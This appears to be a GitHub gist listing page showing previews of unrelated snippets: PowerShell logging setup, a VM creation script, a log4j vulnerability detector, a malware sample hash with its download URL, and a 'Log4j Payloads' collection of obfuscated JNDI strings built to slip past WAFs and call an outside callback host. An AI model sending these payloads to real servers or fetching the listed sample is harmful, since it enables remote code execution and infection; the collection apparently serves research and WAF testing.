Skip to content

Instantly share code, notes, and snippets.

View opexxx's full-sized avatar

Alexander Knorr opexxx

View GitHub Profile
# Enable PowerShell Logging
$regConfig = @"
regKey,name,value,type
"HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging","EnableScriptBlockLogging",1,"DWORD"
"HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging","EnableScriptBlockInvocationLogging",1,"DWORD"
"HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging","EnableModuleLogging",1,"DWORD"
"HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames",*,*,"String"
"@
Write-host "Setting up PowerShell registry settings.."
@echo off
:: https://privacy.sexy — v0.11.4 — Sun, 15 Jan 2023 10:23:12 GMT
:: Ensure admin privileges
fltmc >nul 2>&1 || (
echo Administrator privileges are required.
PowerShell Start -Verb RunAs '%0' 2> nul || (
echo Right-click on the script and select "Run as administrator".
pause & exit 1
)
exit 0
@sysopfb
sysopfb / UpdateAgent Golang
Created June 2, 2022 19:17
UpdateAgent - GolangVersion
2aaebf0282463c60aa8866e733799eee97f41af1e3ac8ae7855279595217aa2f
SnapITool.zip
```
https://vzhqu.snapitool.com/SnapITool.zip
```
```
@lbogdan
lbogdan / createvm.sh
Last active February 3, 2022 14:54
createvm.sh
#!/bin/bash
set -euo pipefail
IMAGE_QCOW2="AlmaLinux-8-GenericCloud-8.5-20211119.x86_64.qcow2"
IMAGE_URL="https://repo.almalinux.org/almalinux/8/cloud/x86_64/images/$IMAGE_QCOW2"
IMAGE_VMDK="AlmaLinux-8-GenericCloud-8.5-20211119.x86_64.vmdk"
VMS_PATH="/Users/lbogdan/Virtual Machines.localized"
VM_NAME="control"
USERNAME="lbogdan"
@chase2981
chase2981 / _all_commands.md
Last active February 12, 2024 23:30
commands

Here are some useful commands

@ZephrFish
ZephrFish / Log4j Payloads
Last active December 20, 2022 19:32
Collection of WAF evasion payloads
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
@elgrunt0
elgrunt0 / Detect-vulnerablelog4j.ps1
Last active June 1, 2022 09:32
Search all drives for log4j*.jar and compare hash against list of known vulnerable hashes. Write to custom eventlog and output Vulnerable/Compliant. Works as MECM Script. Can be used for CI/CB but prone to timeout
#Create custom event log
#------------------------------------------------------------
function Create-CustomEventLog {
param ($logname)
if (!(Get-EventLog -List | Where-Object {$_.LogDisplayName -eq $logname})) {
New-EventLog -LogName $logname -Source $logname
Limit-EventLog -LogName $logname -OverflowAction OverwriteAsNeeded -MaximumSize 20MB
Write-EventLog -LogName $logname -Source $logname -Message "Event log created. When writing to this event log, use the source: $logname" -EventId 0 -EntryType Information
}
}